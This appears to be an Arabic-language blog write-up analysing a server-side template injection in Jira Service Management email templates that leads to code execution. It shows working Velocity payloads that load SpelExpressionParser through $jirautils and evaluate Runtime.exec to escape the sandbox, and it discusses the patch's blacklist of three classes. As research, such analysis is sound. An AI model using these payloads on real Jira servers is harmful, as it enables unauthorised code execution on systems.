
حقن القوالب في قوالب البريد الإلكتروني يؤدي إلى تنفيذ الأكواد على خادم إدارة خدمات جيرا
حقن القوالب في قوالب البريد الإلكتروني يؤدي إلى تنفيذ التعليمات البرمجية على Jira Service Management Server
لقد شرحت كيفية النشر + التصحيح هنا، يمكنكم الرجوع إليها.
في الوصف لهذا CVE، تم توضيح أن الخلل يقع في ميزة Email Template. بصلاحية المسؤول، يمكن للمستخدم تعديل قوالب رسائل البريد الإلكتروني الإعلامية حسب الرغبة. يتطلب هذا الخلل صلاحية المسؤول لتنفيذه، لذا حتى مع وجود RCE فهو ليس خطيرًا جدًا، لكنني قررت كتابة المدونة للتسلية :) أي شخص يبحث عن SSTI يمكنه الرجوع إليها.
atlassian-jira-servicedesk-4.17.0-m0006-standalone وحاولت مقارنته بالإصدار 4.18.0 لرؤية الاختلافات:

عند رؤية هذا الكم، ... بالطبع لم أقرأ كل ملف على حدة، فأنا كسول جدًا. أمزح، لكن في الواقع، بالإضافة إلى وجود إصدار أمان مُصلح، تحتوي الإصدارات أيضًا على ترقيات وتغييرات في الميزات. مقارنة كل شيء ثم قراءته يستغرق وقتًا طويلاً. بالطبع في بعض الحالات يجب علي المقارنة والقراءة، لكن في هذه الحالة لم أفعل ذلك =)))
SendBulkMail لإنشاء بريد إلكتروني إعلامي. فيما يتعلق بمكدس الاستدعاء لهذه النقطة، لن أذكره تجنبًا للإطالة لأنه مشابه لمكدس الاستدعاء في CVE-2019-11581في الدالة SimpleNote.render يمكنني رؤية متغير السياق لمعرفة ما يمكنني الاستفادة منه:
بناءً على تجربتي الشخصية، سأركز على فحص السياقات/الفئات التي تحتوي على كلمات مفتاحية مثل: Utils, Manager, service,... . لاحظت وجود السياق $jirautils (الفئة com.atlassian.jira.util.JiraUtils) الذي يحتوي على method public static <T> T loadComponent(String className, Class<?> callingClass):
بحثت في الوثائق لمعرفة وظيفتها وكيفية استخدامها، لأن الإدخال هو String className والمخرج هو فئة، لذا من المحتمل أن هذه الـ method تحمل الفئة بشكل عشوائي:
ذهبت إلى System -> Email templates وقمت بتحميل ملف القالب الحالي إلى الجهاز
هناك العديد من القوالب المختلفة، كل منها يستخدم لنوع معين من الإشعارات، لذا بحثت عن ملف يمكن استخدامه لأنواع متعددة مثل email\html\includes\header.vm
بعد رفع ملف القالب المعدل، واستخدام SendBulkMail لإرسال بريد إلكتروني إعلامي. تلقيت الناتج في البريد الإلكتروني كالتالي:
باختصار، هذه الفئة ليس لديها بنائون أو غير مقبولة. جربت استخدام فئة أخرى تحتوي على بنائين (بناؤون بدون إدخال) لنرى:
وكانت النتيجة كما هو متوقع. تمكنت من الحصول على الفئة بنجاح:
نرى أنه تمت إضافة 3 فئات إلى القائمة السوداء:
org.springframework.expression.spel.standard.SpelExpressionParser,\
com.atlassian.jira.component.ComponentAccessor,\
com.atlassian.jira.plugin.ComponentClassManager
عند فحص كل فئة، لاحظت أن الفئة SpelExpressionParser تحتوي على method public SpelExpression parseRaw(String expressionString). بعد البحث في Google قليلاً عن كيفية استخدامها، وجدت أنه يمكن استخدامها بهذا الشكل:
#set($SpelExpressionParser = $jirautils.loadComponent('org.springframework.expression.spel.standard.SpelExpressionParser',$i18n.getClass()))
$SpelExpressionParser.parseRaw("T(java.lang.Runtime).getRuntime().exec('calc')")
كما ترون، الدالة parseRaw تُرجع كائنًا من الفئة org.springframework.expression.spel.standard.SpelExpression ولكنها لم تقم فعليًا بتقييم التعبير الذي أدخلته. دخلت إلى الفئة SpelExpression ورأيت method getValue:
@Nullable
public Object getValue() throws EvaluationException {
CompiledExpression compiledAst = this.compiledAst;
if (compiledAst != null) {
try {
EvaluationContext context = this.getEvaluationContext();
return compiledAst.getValue(context.getRootObject().getValue(), context);
} catch (Throwable var4) {
if (this.configuration.getCompilerMode() != SpelCompilerMode.MIXED) {
throw new SpelEvaluationException(var4, SpelMessage.EXCEPTION_RUNNING_COMPILED_EXPRESSION, new Object[0]);
}
}
this.compiledAst = null;
this.interpretedCount.set(0);
}
ExpressionState expressionState = new ExpressionState(this.getEvaluationContext(), this.configuration);
Object result = this.ast.getValue(expressionState);
this.checkCompile(expressionState);
return result;
}
بالنظر إلى الإدخال/الإخراج، قررت كشخص يعتمد على الحدس أن أجرب مباشرة دون قراءة الوثائق:
#set($SpelExpressionParser = $jirautils.loadComponent('org.springframework.expression.spel.standard.SpelExpressionParser',$i18n.getClass()))
$SpelExpressionParser.parseRaw("T(java.lang.Runtime).getRuntime().exec('calc')").getValue()
والنتيجة:
وهكذا تمكنا من تجاوز الصندوق الرملي لـ Velocity لتحقيق RCE. ولكن عندما أضع نفسي في مكان المؤلف - مكتشف هذا الخلل - هناك العديد من الأسئلة التي لا أستطيع تفسيرها:
عندما بحثت في هذه الفئات الثلاث، وجدت أنها يمكن أن تشكل سلسلة:
ComponentAccessor.getComponentClassManager()
=> ComponentClassManager.newInstance(String className) (هذه الفئة يمكنها تحميل فئة عشوائية)
=> SpelExpressionParser
إذا كان المؤلف قد استخدم $jirautils مثلي، فلن يحتاج إلى الفئتين الأخريين. ولكن إذا لم يستخدم $jirautils، فكيف يمكنه الحصول على ComponentAccessor؟؟؟